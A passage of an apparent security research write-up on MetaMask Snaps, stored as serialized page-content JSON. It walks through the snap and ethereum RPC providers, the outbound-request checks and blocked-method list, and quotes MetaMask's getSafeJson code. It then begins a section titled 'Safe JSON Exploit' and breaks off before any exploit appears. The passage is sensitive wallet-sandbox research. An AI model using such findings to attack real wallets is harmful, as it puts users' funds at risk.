endowments",{"type":22,"tag":1899,"props":40104,"children":40106},{"id":40105},"providers-limitations",[40107],{"type":28,"value":40108},"Providers limitations",{"type":22,"tag":31,"props":40110,"children":40111},{},[40112,40114,40120,40121,40126,40128,40135],{"type":28,"value":40113},"A snap has two interfaces that can be used to communicate with metamask RPC interface: ",{"type":22,"tag":114,"props":40115,"children":40117},{"className":40116},[],[40118],{"type":28,"value":40119},"snap",{"type":28,"value":12991},{"type":22,"tag":114,"props":40122,"children":40124},{"className":40123},[],[40125],{"type":28,"value":33356},{"type":28,"value":40127}," (EIP-1193). These differ in that each one can only send a subset of the available RPC ",{"type":22,"tag":42,"props":40129,"children":40132},{"href":40130,"rel":40131},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/utils.ts#L130",[46],[40133],{"type":28,"value":40134},"methods",{"type":28,"value":213},{"type":22,"tag":107,"props":40137,"children":40139},{"className":37554,"code":40138,"language":37556,"meta":7,"style":7},"export function assertSnapOutboundRequest(args: RequestArguments) {\n  // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n  assert(\n    String.prototype.startsWith.call(args.method, 'wallet_') ||\n      String.prototype.startsWith.call(args.method, 'snap_'),\n    'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.',\n  );\n  assert(\n    !BLOCKED_RPC_METHODS.includes(args.method),\n    ethErrors.rpc.methodNotFound({\n      data: {\n        method: args.method,\n      },\n    }),\n  );\n  assertStruct(args, JsonStruct, 'Provided value is not JSON-RPC compatible');\n}\n",[40140],{"type":22,"tag":114,"props":40141,"children":40142},{"__ignoreMap":7},[40143,40183,40191,40203,40273,40334,40346,40354,40365,40405,40435,40447,40472,40479,40487,40494,40532],{"type":22,"tag":118,"props":40144,"children":40145},{"class":120,"line":121},[40146,40151,40156,40161,40165,40170,40174,40179],{"type":22,"tag":118,"props":40147,"children":40148},{"style":1480},[40149],{"type":28,"value":40150},"export",{"type":22,"tag":118,"props":40152,"children":40153},{"style":146},[40154],{"type":28,"value":40155}," function",{"type":22,"tag":118,"props":40157,"children":40158},{"style":532},[40159],{"type":28,"value":40160}," assertSnapOutboundRequest",{"type":22,"tag":118,"props":40162,"children":40163},{"style":125},[40164],{"type":28,"value":540},{"type":22,"tag":118,"props":40166,"children":40167},{"style":204},[40168],{"type":28,"value":40169},"args",{"type":22,"tag":118,"props":40171,"children":40172},{"style":210},[40173],{"type":28,"value":213},{"type":22,"tag":118,"props":40175,"children":40176},{"style":131},[40177],{"type":28,"value":40178}," RequestArguments",{"type":22,"tag":118,"props":40180,"children":40181},{"style":125},[40182],{"type":28,"value":16783},{"type":22,"tag":118,"props":40184,"children":40185},{"class":120,"line":142},[40186],{"type":22,"tag":118,"props":40187,"children":40188},{"style":257},[40189],{"type":28,"value":40190},"  // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n",{"type":22,"tag":118,"props":40192,"children":40193},{"class":120,"line":177},[40194,40199],{"type":22,"tag":118,"props":40195,"children":40196},{"style":532},[40197],{"type":28,"value":40198},"  assert",{"type":22,"tag":118,"props":40200,"children":40201},{"style":125},[40202],{"type":28,"value":696},{"type":22,"tag":118,"props":40204,"children":40205},{"class":120,"line":195},[40206,40211,40215,40220,40224,40229,40233,40238,40242,40246,40250,40255,40259,40264,40268],{"type":22,"tag":118,"props":40207,"children":40208},{"style":131},[40209],{"type":28,"value":40210},"    String",{"type":22,"tag":118,"props":40212,"children":40213},{"style":125},[40214],{"type":28,"value":292},{"type":22,"tag":118,"props":40216,"children":40217},{"style":204},[40218],{"type":28,"value":40219},"prototype",{"type":22,"tag":118,"props":40221,"children":40222},{"style":125},[40223],{"type":28,"value":292},{"type":22,"tag":118,"props":40225,"children":40226},{"style":204},[40227],{"type":28,"value":40228},"startsWith",{"type":22,"tag":118,"props":40230,"children":40231},{"style":125},[40232],{"type":28,"value":292},{"type":22,"tag":118,"props":40234,"children":40235},{"style":532},[40236],{"type":28,"value":40237},"call",{"type":22,"tag":118,"props":40239,"children":40240},{"style":125},[40241],{"type":28,"value":540},{"type":22,"tag":118,"props":40243,"children":40244},{"style":204},[40245],{"type":28,"value":40169},{"type":22,"tag":118,"props":40247,"children":40248},{"style":125},[40249],{"type":28,"value":292},{"type":22,"tag":118,"props":40251,"children":40252},{"style":204},[40253],{"type":28,"value":40254},"method",{"type":22,"tag":118,"props":40256,"children":40257},{"style":125},[40258],{"type":28,"value":231},{"type":22,"tag":118,"props":40260,"children":40261},{"style":1866},[40262],{"type":28,"value":40263},"'wallet_'",{"type":22,"tag":118,"props":40265,"children":40266},{"style":125},[40267],{"type":28,"value":588},{"type":22,"tag":118,"props":40269,"children":40270},{"style":210},[40271],{"type":28,"value":40272},"||\n",{"type":22,"tag":118,"props":40274,"children":40275},{"class":120,"line":244},[40276,40281,40285,40289,40293,40297,40301,40305,40309,40313,40317,40321,40325,40330],{"type":22,"tag":118,"props":40277,"children":40278},{"style":131},[40279],{"type":28,"value":40280},"      String",{"type":22,"tag":118,"props":40282,"children":40283},{"style":125},[40284],{"type":28,"value":292},{"type":22,"tag":118,"props":40286,"children":40287},{"style":204},[40288],{"type":28,"value":40219},{"type":22,"tag":118,"props":40290,"children":40291},{"style":125},[40292],{"type":28,"value":292},{"type":22,"tag":118,"props":40294,"children":40295},{"style":204},[40296],{"type":28,"value":40228},{"type":22,"tag":118,"props":40298,"children":40299},{"style":125},[40300],{"type":28,"value":292},{"type":22,"tag":118,"props":40302,"children":40303},{"style":532},[40304],{"type":28,"value":40237},{"type":22,"tag":118,"props":40306,"children":40307},{"style":125},[40308],{"type":28,"value":540},{"type":22,"tag":118,"props":40310,"children":40311},{"style":204},[40312],{"type":28,"value":40169},{"type":22,"tag":118,"props":40314,"children":40315},{"style":125},[40316],{"type":28,"value":292},{"type":22,"tag":118,"props":40318,"children":40319},{"style":204},[40320],{"type":28,"value":40254},{"type":22,"tag":118,"props":40322,"children":40323},{"style":125},[40324],{"type":28,"value":231},{"type":22,"tag":118,"props":40326,"children":40327},{"style":1866},[40328],{"type":28,"value":40329},"'snap_'",{"type":22,"tag":118,"props":40331,"children":40332},{"style":125},[40333],{"type":28,"value":3853},{"type":22,"tag":118,"props":40335,"children":40336},{"class":120,"line":253},[40337,40342],{"type":22,"tag":118,"props":40338,"children":40339},{"style":1866},[40340],{"type":28,"value":40341},"    'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.'",{"type":22,"tag":118,"props":40343,"children":40344},{"style":125},[40345],{"type":28,"value":782},{"type":22,"tag":118,"props":40347,"children":40348},{"class":120,"line":263},[40349],{"type":22,"tag":118,"props":40350,"children":40351},{"style":125},[40352],{"type":28,"value":40353},"  );\n",{"type":22,"tag":118,"props":40355,"children":40356},{"class":120,"line":318},[40357,40361],{"type":22,"tag":118,"props":40358,"children":40359},{"style":532},[40360],{"type":28,"value":40198},{"type":22,"tag":118,"props":40362,"children":40363},{"style":125},[40364],{"type":28,"value":696},{"type":22,"tag":118,"props":40366,"children":40367},{"class":120,"line":351},[40368,40372,40377,40381,40385,40389,40393,40397,40401],{"type":22,"tag":118,"props":40369,"children":40370},{"style":210},[40371],{"type":28,"value":2644},{"type":22,"tag":118,"props":40373,"children":40374},{"style":204},[40375],{"type":28,"value":40376},"BLOCKED_RPC_METHODS",{"type":22,"tag":118,"props":40378,"children":40379},{"style":125},[40380],{"type":28,"value":292},{"type":22,"tag":118,"props":40382,"children":40383},{"style":532},[40384],{"type":28,"value":37121},{"type":22,"tag":118,"props":40386,"children":40387},{"style":125},[40388],{"type":28,"value":540},{"type":22,"tag":118,"props":40390,"children":40391},{"style":204},[40392],{"type":28,"value":40169},{"type":22,"tag":118,"props":40394,"children":40395},{"style":125},[40396],{"type":28,"value":292},{"type":22,"tag":118,"props":40398,"children":40399},{"style":204},[40400],{"type":28,"value":40254},{"type":22,"tag":118,"props":40402,"children":40403},{"style":125},[40404],{"type":28,"value":3853},{"type":22,"tag":118,"props":40406,"children":40407},{"class":120,"line":359},[40408,40413,40417,40422,40426,40431],{"type":22,"tag":118,"props":40409,"children":40410},{"style":204},[40411],{"type":28,"value":40412},"    ethErrors",{"type":22,"tag":118,"props":40414,"children":40415},{"style":125},[40416],{"type":28,"value":292},{"type":22,"tag":118,"props":40418,"children":40419},{"style":204},[40420],{"type":28,"value":40421},"rpc",{"type":22,"tag":118,"props":40423,"children":40424},{"style":125},[40425],{"type":28,"value":292},{"type":22,"tag":118,"props":40427,"children":40428},{"style":532},[40429],{"type":28,"value":40430},"methodNotFound",{"type":22,"tag":118,"props":40432,"children":40433},{"style":125},[40434],{"type":28,"value":17116},{"type":22,"tag":118,"props":40436,"children":40437},{"class":120,"line":368},[40438,40443],{"type":22,"tag":118,"props":40439,"children":40440},{"style":204},[40441],{"type":28,"value":40442},"      data:",{"type":22,"tag":118,"props":40444,"children":40445},{"style":125},[40446],{"type":28,"value":1474},{"type":22,"tag":118,"props":40448,"children":40449},{"class":120,"line":384},[40450,40455,40460,40464,40468],{"type":22,"tag":118,"props":40451,"children":40452},{"style":204},[40453],{"type":28,"value":40454},"        method:",{"type":22,"tag":118,"props":40456,"children":40457},{"style":204},[40458],{"type":28,"value":40459}," args",{"type":22,"tag":118,"props":40461,"children":40462},{"style":125},[40463],{"type":28,"value":292},{"type":22,"tag":118,"props":40465,"children":40466},{"style":204},[40467],{"type":28,"value":40254},{"type":22,"tag":118,"props":40469,"children":40470},{"style":125},[40471],{"type":28,"value":782},{"type":22,"tag":118,"props":40473,"children":40474},{"class":120,"line":417},[40475],{"type":22,"tag":118,"props":40476,"children":40477},{"style":125},[40478],{"type":28,"value":39140},{"type":22,"tag":118,"props":40480,"children":40481},{"class":120,"line":425},[40482],{"type":22,"tag":118,"props":40483,"children":40484},{"style":125},[40485],{"type":28,"value":40486},"    }),\n",{"type":22,"tag":118,"props":40488,"children":40489},{"class":120,"line":441},[40490],{"type":22,"tag":118,"props":40491,"children":40492},{"style":125},[40493],{"type":28,"value":40353},{"type":22,"tag":118,"props":40495,"children":40496},{"class":120,"line":475},[40497,40502,40506,40510,40514,40519,40523,40528],{"type":22,"tag":118,"props":40498,"children":40499},{"style":532},[40500],{"type":28,"value":40501},"  assertStruct",{"type":22,"tag":118,"props":40503,"children":40504},{"style":125},[40505],{"type":28,"value":540},{"type":22,"tag":118,"props":40507,"children":40508},{"style":204},[40509],{"type":28,"value":40169},{"type":22,"tag":118,"props":40511,"children":40512},{"style":125},[40513],{"type":28,"value":231},{"type":22,"tag":118,"props":40515,"children":40516},{"style":204},[40517],{"type":28,"value":40518},"JsonStruct",{"type":22,"tag":118,"props":40520,"children":40521},{"style":125},[40522],{"type":28,"value":231},{"type":22,"tag":118,"props":40524,"children":40525},{"style":1866},[40526],{"type":28,"value":40527},"'Provided value is not JSON-RPC compatible'",{"type":22,"tag":118,"props":40529,"children":40530},{"style":125},[40531],{"type":28,"value":682},{"type":22,"tag":118,"props":40533,"children":40534},{"class":120,"line":484},[40535],{"type":22,"tag":118,"props":40536,"children":40537},{"style":125},[40538],{"type":28,"value":481},{"type":22,"tag":31,"props":40540,"children":40541},{},[40542,40544,40549,40551,40557,40558,40564],{"type":28,"value":40543},"This function is called by the ",{"type":22,"tag":114,"props":40545,"children":40547},{"className":40546},[],[40548],{"type":28,"value":40119},{"type":28,"value":40550}," RPC provider, so it can only send methods starting with ",{"type":22,"tag":114,"props":40552,"children":40554},{"className":40553},[],[40555],{"type":28,"value":40556},"wallet_",{"type":28,"value":15128},{"type":22,"tag":114,"props":40559,"children":40561},{"className":40560},[],[40562],{"type":28,"value":40563},"snap_",{"type":28,"value":40565},". In addition, there are some blocked RPC methods that immediately throw an error when encountered.",{"type":22,"tag":31,"props":40567,"children":40568},{},[40569,40571,40576,40578,40583,40585,40591],{"type":28,"value":40570},"On the other hand, the ",{"type":22,"tag":114,"props":40572,"children":40574},{"className":40573},[],[40575],{"type":28,"value":33356},{"type":28,"value":40577}," provider only blocks methods starting with ",{"type":22,"tag":114,"props":40579,"children":40581},{"className":40580},[],[40582],{"type":28,"value":40563},{"type":28,"value":40584}," and the blocked methods. However, it requires the ",{"type":22,"tag":114,"props":40586,"children":40588},{"className":40587},[],[40589],{"type":28,"value":40590},"endowment:ethereum-provider",{"type":28,"value":40592}," permission in the snap manifest.",{"type":22,"tag":1899,"props":40594,"children":40596},{"id":40595},"execution-flow",[40597],{"type":28,"value":40598},"Execution flow",{"type":22,"tag":31,"props":40600,"children":40601},{},[40602,40604,40609,40610,40615,40617,40622,40623,40629],{"type":28,"value":40603},"Both providers (",{"type":22,"tag":114,"props":40605,"children":40607},{"className":40606},[],[40608],{"type":28,"value":40119},{"type":28,"value":12991},{"type":22,"tag":114,"props":40611,"children":40613},{"className":40612},[],[40614],{"type":28,"value":33356},{"type":28,"value":40616},") are built outside the SES container with a ",{"type":22,"tag":114,"props":40618,"children":40620},{"className":40619},[],[40621],{"type":28,"value":33432},{"type":28,"value":8467},{"type":22,"tag":42,"props":40624,"children":40627},{"href":40625,"rel":40626},"https://github.com/MetaMask/snaps/blob/main/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L437",[46],[40628],{"type":28,"value":33316},{"type":28,"value":213},{"type":22,"tag":107,"props":40631,"children":40633},{"className":37871,"code":40632,"language":37873,"meta":7,"style":7},"  const request = async (args: RequestArguments) => {\n      assertSnapOutboundRequest(args); // or assertEthereumOutboundRequest(args);\n      const sanitizedArgs = getSafeJson(args);\n      this.notify({ method: 'OutboundRequest' });\n      try {\n        return await withTeardown(\n          originalRequest(sanitizedArgs as unknown as RequestArguments),\n          this as any,\n        );\n      } finally {\n        this.notify({ method: 'OutboundResponse' });\n      }\n    };\n",[40634],{"type":22,"tag":114,"props":40635,"children":40636},{"__ignoreMap":7},[40637,40684,40709,40742,40777,40789,40809,40847,40867,40874,40891,40924,40931],{"type":22,"tag":118,"props":40638,"children":40639},{"class":120,"line":121},[40640,40644,40648,40652,40656,40660,40664,40668,40672,40676,40680],{"type":22,"tag":118,"props":40641,"children":40642},{"style":146},[40643],{"type":28,"value":38129},{"type":22,"tag":118,"props":40645,"children":40646},{"style":532},[40647],{"type":28,"value":33321},{"type":22,"tag":118,"props":40649,"children":40650},{"style":210},[40651],{"type":28,"value":837},{"type":22,"tag":118,"props":40653,"children":40654},{"style":146},[40655],{"type":28,"value":38306},{"type":22,"tag":118,"props":40657,"children":40658},{"style":125},[40659],{"type":28,"value":842},{"type":22,"tag":118,"props":40661,"children":40662},{"style":204},[40663],{"type":28,"value":40169},{"type":22,"tag":118,"props":40665,"children":40666},{"style":210},[40667],{"type":28,"value":213},{"type":22,"tag":118,"props":40669,"children":40670},{"style":131},[40671],{"type":28,"value":40178},{"type":22,"tag":118,"props":40673,"children":40674},{"style":125},[40675],{"type":28,"value":588},{"type":22,"tag":118,"props":40677,"children":40678},{"style":146},[40679],{"type":28,"value":1616},{"type":22,"tag":118,"props":40681,"children":40682},{"style":125},[40683],{"type":28,"value":1474},{"type":22,"tag":118,"props":40685,"children":40686},{"class":120,"line":142},[40687,40692,40696,40700,40704],{"type":22,"tag":118,"props":40688,"children":40689},{"style":532},[40690],{"type":28,"value":40691},"      assertSnapOutboundRequest",{"type":22,"tag":118,"props":40693,"children":40694},{"style":125},[40695],{"type":28,"value":540},{"type":22,"tag":118,"props":40697,"children":40698},{"style":204},[40699],{"type":28,"value":40169},{"type":22,"tag":118,"props":40701,"children":40702},{"style":125},[40703],{"type":28,"value":30292},{"type":22,"tag":118,"props":40705,"children":40706},{"style":257},[40707],{"type":28,"value":40708},"// or assertEthereumOutboundRequest(args);\n",{"type":22,"tag":118,"props":40710,"children":40711},{"class":120,"line":177},[40712,40716,40721,40725,40730,40734,40738],{"type":22,"tag":118,"props":40713,"children":40714},{"style":146},[40715],{"type":28,"value":33486},{"type":22,"tag":118,"props":40717,"children":40718},{"style":204},[40719],{"type":28,"value":40720}," sanitizedArgs",{"type":22,"tag":118,"props":40722,"children":40723},{"style":210},[40724],{"type":28,"value":837},{"type":22,"tag":118,"props":40726,"children":40727},{"style":532},[40728],{"type":28,"value":40729}," getSafeJson",{"type":22,"tag":118,"props":40731,"children":40732},{"style":125},[40733],{"type":28,"value":540},{"type":22,"tag":118,"props":40735,"children":40736},{"style":204},[40737],{"type":28,"value":40169},{"type":22,"tag":118,"props":40739,"children":40740},{"style":125},[40741],{"type":28,"value":682},{"type":22,"tag":118,"props":40743,"children":40744},{"class":120,"line":195},[40745,40750,40754,40759,40763,40767,40772],{"type":22,"tag":118,"props":40746,"children":40747},{"style":146},[40748],{"type":28,"value":40749},"      this",{"type":22,"tag":118,"props":40751,"children":40752},{"style":125},[40753],{"type":28,"value":292},{"type":22,"tag":118,"props":40755,"children":40756},{"style":532},[40757],{"type":28,"value":40758},"notify",{"type":22,"tag":118,"props":40760,"children":40761},{"style":125},[40762],{"type":28,"value":33437},{"type":22,"tag":118,"props":40764,"children":40765},{"style":204},[40766],{"type":28,"value":33442},{"type":22,"tag":118,"props":40768,"children":40769},{"style":1866},[40770],{"type":28,"value":40771}," 'OutboundRequest'",{"type":22,"tag":118,"props":40773,"children":40774},{"style":125},[40775],{"type":28,"value":40776}," });\n",{"type":22,"tag":118,"props":40778,"children":40779},{"class":120,"line":244},[40780,40785],{"type":22,"tag":118,"props":40781,"children":40782},{"style":1480},[40783],{"type":28,"value":40784},"      try",{"type":22,"tag":118,"props":40786,"children":40787},{"style":125},[40788],{"type":28,"value":1474},{"type":22,"tag":118,"props":40790,"children":40791},{"class":120,"line":253},[40792,40796,40800,40805],{"type":22,"tag":118,"props":40793,"children":40794},{"style":1480},[40795],{"type":28,"value":2223},{"type":22,"tag":118,"props":40797,"children":40798},{"style":1480},[40799],{"type":28,"value":38152},{"type":22,"tag":118,"props":40801,"children":40802},{"style":532},[40803],{"type":28,"value":40804}," withTeardown",{"type":22,"tag":118,"props":40806,"children":40807},{"style":125},[40808],{"type":28,"value":696},{"type":22,"tag":118,"props":40810,"children":40811},{"class":120,"line":263},[40812,40817,40821,40826,40830,40835,40839,40843],{"type":22,"tag":118,"props":40813,"children":40814},{"style":532},[40815],{"type":28,"value":40816},"          originalRequest",{"type":22,"tag":118,"props":40818,"children":40819},{"style":125},[40820],{"type":28,"value":540},{"type":22,"tag":118,"props":40822,"children":40823},{"style":204},[40824],{"type":28,"value":40825},"sanitizedArgs",{"type":22,"tag":118,"props":40827,"children":40828},{"style":1480},[40829],{"type":28,"value":10829},{"type":22,"tag":118,"props":40831,"children":40832},{"style":131},[40833],{"type":28,"value":40834}," unknown",{"type":22,"tag":118,"props":40836,"children":40837},{"style":1480},[40838],{"type":28,"value":10829},{"type":22,"tag":118,"props":40840,"children":40841},{"style":131},[40842],{"type":28,"value":40178},{"type":22,"tag":118,"props":40844,"children":40845},{"style":125},[40846],{"type":28,"value":3853},{"type":22,"tag":118,"props":40848,"children":40849},{"class":120,"line":318},[40850,40855,40859,40863],{"type":22,"tag":118,"props":40851,"children":40852},{"style":146},[40853],{"type":28,"value":40854},"          this",{"type":22,"tag":118,"props":40856,"children":40857},{"style":1480},[40858],{"type":28,"value":10829},{"type":22,"tag":118,"props":40860,"children":40861},{"style":131},[40862],{"type":28,"value":12357},{"type":22,"tag":118,"props":40864,"children":40865},{"style":125},[40866],{"type":28,"value":782},{"type":22,"tag":118,"props":40868,"children":40869},{"class":120,"line":351},[40870],{"type":22,"tag":118,"props":40871,"children":40872},{"style":125},[40873],{"type":28,"value":9748},{"type":22,"tag":118,"props":40875,"children":40876},{"class":120,"line":359},[40877,40882,40887],{"type":22,"tag":118,"props":40878,"children":40879},{"style":125},[40880],{"type":28,"value":40881},"      } ",{"type":22,"tag":118,"props":40883,"children":40884},{"style":1480},[40885],{"type":28,"value":40886},"finally",{"type":22,"tag":118,"props":40888,"children":40889},{"style":125},[40890],{"type":28,"value":1474},{"type":22,"tag":118,"props":40892,"children":40893},{"class":120,"line":368},[40894,40899,40903,40907,40911,40915,40920],{"type":22,"tag":118,"props":40895,"children":40896},{"style":146},[40897],{"type":28,"value":40898},"        this",{"type":22,"tag":118,"props":40900,"children":40901},{"style":125},[40902],{"type":28,"value":292},{"type":22,"tag":118,"props":40904,"children":40905},{"style":532},[40906],{"type":28,"value":40758},{"type":22,"tag":118,"props":40908,"children":40909},{"style":125},[40910],{"type":28,"value":33437},{"type":22,"tag":118,"props":40912,"children":40913},{"style":204},[40914],{"type":28,"value":33442},{"type":22,"tag":118,"props":40916,"children":40917},{"style":1866},[40918],{"type":28,"value":40919}," 'OutboundResponse'",{"type":22,"tag":118,"props":40921,"children":40922},{"style":125},[40923],{"type":28,"value":40776},{"type":22,"tag":118,"props":40925,"children":40926},{"class":120,"line":384},[40927],{"type":22,"tag":118,"props":40928,"children":40929},{"style":125},[40930],{"type":28,"value":14660},{"type":22,"tag":118,"props":40932,"children":40933},{"class":120,"line":417},[40934],{"type":22,"tag":118,"props":40935,"children":40936},{"style":125},[40937],{"type":28,"value":40938},"    };\n",{"type":22,"tag":31,"props":40940,"children":40941},{},[40942,40944,40949,40951,40956],{"type":28,"value":40943},"In particular, this function is from the ",{"type":22,"tag":114,"props":40945,"children":40947},{"className":40946},[],[40948],{"type":28,"value":40119},{"type":28,"value":40950}," provider, but the only thing that changes between this and ",{"type":22,"tag":114,"props":40952,"children":40954},{"className":40953},[],[40955],{"type":28,"value":33356},{"type":28,"value":40957}," is the assert function in the first line.",{"type":22,"tag":31,"props":40959,"children":40960},{},[40961],{"type":28,"value":40962},"As we can see in the code, the execution flow follows this pattern:",{"type":22,"tag":4029,"props":40964,"children":40965},{},[40966,40978,40983],{"type":22,"tag":68,"props":40967,"children":40968},{},[40969,40971,40976],{"type":28,"value":40970},"Assert if ",{"type":22,"tag":114,"props":40972,"children":40974},{"className":40973},[],[40975],{"type":28,"value":40169},{"type":28,"value":40977}," are valid",{"type":22,"tag":68,"props":40979,"children":40980},{},[40981],{"type":28,"value":40982},"getSafeJson to get sanitizedArgs",{"type":22,"tag":68,"props":40984,"children":40985},{},[40986],{"type":28,"value":40987},"originalRequest(sanitizedArgs)",{"type":22,"tag":31,"props":40989,"children":40990},{},[40991,40993,40999],{"type":28,"value":40992},"Obs: ",{"type":22,"tag":114,"props":40994,"children":40996},{"className":40995},[],[40997],{"type":28,"value":40998},"originalRequest",{"type":28,"value":41000}," makes the RPC call to metamask service worker",{"type":22,"tag":1289,"props":41002,"children":41004},{"id":41003},"safe-json-exploit",[41005],{"type":28,"value":41006},"Safe JSON Exploit",{"type":22,"tag":31,"props":41008,"children":41009},{},[41010,41012,41018,41020,41025,41027,41033],{"type":28,"value":41011},"As we dug further into the",{"type":22,"tag":114,"props":41013,"children":41015},{"className":41014},[],[41016],{"type":28,"value":41017},"getSafeJson",{"type":28,"value":41019}," function (defined in ",{"type":22,"tag":114,"props":41021,"children":41023},{"className":41022},[],[41024],{"type":28,"value":39237},{"type":28,"value":41026}," package) we discovered the following ",{"type":22,"tag":42,"props":41028,"children":41031},{"href":41029,"rel":41030},"https://github.com/MetaMask/utils/blob/7f0116d4d853d85319d200c503a2f9abc390f1d3/src/json.ts#L72",[46],[41032],{"type":28,"value":114},{"type":28,"value":213},{"type":22,"tag":107,"props":41035,"children":41037},{"className":37554,"code":41036,"language":37556,"meta":7,"style":7},"export const JsonStruct = coerce(UnsafeJsonStruct, any(), (value) => {\n  assertStruct(value, UnsafeJsonStruct);\n  return JSON.parse(\n    JSON.stringify(value, (propKey, propValue) => {\n      // Strip __proto__ and constructor properties to prevent prototype pollution.\n      if (propKey === '__proto__' || propKey === 'constructor') {\n        return undefined;\n      }\n      return propValue;\n    }),\n  );\n});\n",[41038],{"type":22,"tag":114,"props":41039,"children":41040},{"__ignoreMap":7},[41041,41106,41133,41158,41213,41221,41268,41284,41291,41308,41315,41322],{"type":22,"tag":118,"props":41042,"children":41043},{"class":120,"line":121},[41044,41048,41053,41058,41062,41067,41071,41076,41080,41084,41089,41094,41098,41102],{"type":22,"tag":118,"props":41045,"children":41046},{"style":1480},[41047],{"type":28,"value":40150},{"type":22,"tag":118,"props":41049,"children":41050},{"style":146},[41051],{"type":28,"value":41052}," const",{"type":22,"tag":118,"props":41054,"children":41055},{"style":204},[41056],{"type":28,"value":41057}," JsonStruct",{"type":22,"tag":118,"props":41059,"children":41060},{"style":210},[41061],{"type":28,"value":837},{"type":22,"tag":118,"props":41063,"children":41064},{"style":532},[41065],{"type":28,"value":41066}," coerce",{"type":22,"tag":118,"props":41068,"children":41069},{"style":125},[41070],{"type":28,"value":540},{"type":22,"tag":118,"props":41072,"children":41073},{"style":204},[41074],{"type":28,"value":41075},"UnsafeJsonStruct",{"type":22,"tag":118,"props":41077,"children":41078},{"style":125},[41079],{"type":28,"value":231},{"type":22,"tag":118,"props":41081,"children":41082},{"style":532},[41083],{"type":28,"value":18678},{"type":22,"tag":118,"props":41085,"children":41086},{"style":125},[41087],{"type":28,"value":41088},"(), (",{"type":22,"tag":118,"props":41090,"children":41091},{"style":204},[41092],{"type":28,"value":41093},"value",{"type":22,"tag":118,"props":41095,"children":41096},{"style":125},[41097],{"type":28,"value":588},{"type":22,"tag":118,"props":41099,"children":41100},{"style":146},[41101],{"type":28,"value":1616},{"type":22,"tag":118,"props":41103,"children":41104},{"style":125},[41105],{"type":28,"value":1474},{"type":22,"tag":118,"props":41107,"children":41108},{"class":120,"line":142},[41109,41113,41117,41121,41125,41129],{"type":22,"tag":118,"props":41110,"children":41111},{"style":532},[41112],{"type":28,"value":40501},{"type":22,"tag":118,"props":41114,"children":41115},{"style":125},[41116],{"type":28,"value":540},{"type":22,"tag":118,"props":41118,"children":41119},{"style":204},[41120],{"type":28,"value":41093},{"type":22,"tag":118,"props":41122,"children":41123},{"style":125},[41124],{"type":28,"value":231},{"type":22,"tag":118,"props":41126,"children":41127},{"style":204},[41128],{"type":28,"value":41075},{"type":22,"tag":118,"props":41130,"children":41131},{"style":125},[41132],{"type":28,"value":682},{"type":22,"tag":118,"props":41134,"children":41135},{"class":120,"line":177},[41136,41141,41145,41149,41154],{"type":22,"tag":118,"props":41137,"children":41138},{"style":1480},[41139],{"type":28,"value":41140},"  return",{"type":22,"tag":118,"props":41142,"children":41143},{"style":204},[41144],{"type":28,"value":39469},{"type":22,"tag":118,"props":41146,"children":41147},{"style":125},[41148],{"type":28,"value":292},{"type":22,"tag":118,"props":41150,"children":41151},{"style":532},[41152],{"type":28,"value":41153},"parse",{"type":22,"tag":118,"props":41155,"children":41156},{"style":125},[41157],{"type":28,"value":696},{"type":22,"tag":118,"props":41159,"children":41160},{"class":120,"line":195},[41161,41166,41170,41175,41179,41183,41187,41192,41196,41201,41205,41209],{"type":22,"tag":118,"props":41162,"children":41163},{"style":204},[41164],{"type":28,"value":41165},"    JSON",{"type":22,"tag":118,"props":41167,"children":41168},{"style":125},[41169],{"type":28,"value":292},{"type":22,"tag":118,"props":41171,"children":41172},{"style":532},[41173],{"type":28,"value":41174},"stringify",{"type":22,"tag":118,"props":41176,"children":41177},{"style":125},[41178],{"type":28,"value":540},{"type":22,"tag":118,"props":41180,"children":41181},{"style":204},[41182],{"type":28,"value":41093},{"type":22,"tag":118,"props":41184,"children":41185},{"style":125},[41186],{"type":28,"value":10820},{"type":22,"tag":118,"props":41188,"children":41189},{"style":204},[41190],{"type":28,"value":41191},"propKey",{"type":22,"tag":118,"props":41193,"children":41194},{"style":125},[41195],{"type":28,"value":231},{"type":22,"tag":118,"props":41197,"children":41198},{"style":204},[41199],{"type":28,"value":41200},"propValue",{"type":22,"tag":118,"props":41202,"children":41203},{"style":125},[41204],{"type":28,"value":588},{"type":22,"tag":118,"props":41206,"children":41207},{"style":146},[41208],{"type":28,"value":1616},{"type":22,"tag":118,"props":41210,"children":41211},{"style":125},[41212],{"type":28,"value":1474},{"type":22,"tag":118,"props":41214,"children":41215},{"class":120,"line":244},[41216],{"type":22,"tag":118,"props":41217,"children":41218},{"style":257},[41219],{"type":28,"value":41220},"      // Strip __proto__ and constructor properties to prevent prototype pollution.\n",{"type":22,"tag":118,"props":41222,"children":41223},{"class":120,"line":253},[41224,41229,41233,41237,41241,41246,41250,41255,41259,41264],{"type":22,"tag":118,"props":41225,"children":41226},{"style":1480},[41227],{"type":28,"value":41228},"      if",{"type":22,"tag":118,"props":41230,"children":41231},{"style":125},[41232],{"type":28,"value":842},{"type":22,"tag":118,"props":41234,"children":41235},{"style":204},[41236],{"type":28,"value":41191},{"type":22,"tag":118,"props":41238,"children":41239},{"style":210},[41240],{"type":28,"value":33361},{"type":22,"tag":118,"props":41242,"children":41243},{"style":1866},[41244],{"type":28,"value":41245}," '__proto__'",{"type":22,"tag":118,"props":41247,"children":41248},{"style":210},[41249],{"type":28,"value":25646},{"type":22,"tag":118,"props":41251,"children":41252},{"style":204},[41253],{"type":28,"value":41254}," propKey",{"type":22,"tag":118,"props":41256,"children":41257},{"style":210},[41258],{"type":28,"value":33361},{"type":22,"tag":118,"props":41260,"children":41261},{"style":1866},[41262],{"type":28,"value":41263}," 'constructor'",{"type":22,"tag":118,"props":41265,"children":41266},{"style":125},[41267],{"type":28,"value":16783},{"type":22,"tag":118,"props":41269,"children":41270},{"class":120,"line":263},[41271,41275,41280],{"type":22,"tag":118,"props":41272,"children":41273},{"style":1480},[41274],{"type":28,"value":2223},{"type":22,"tag":118,"props":41276,"children":41277},{"style":146},[41278],{"type":28,"value":41279}," 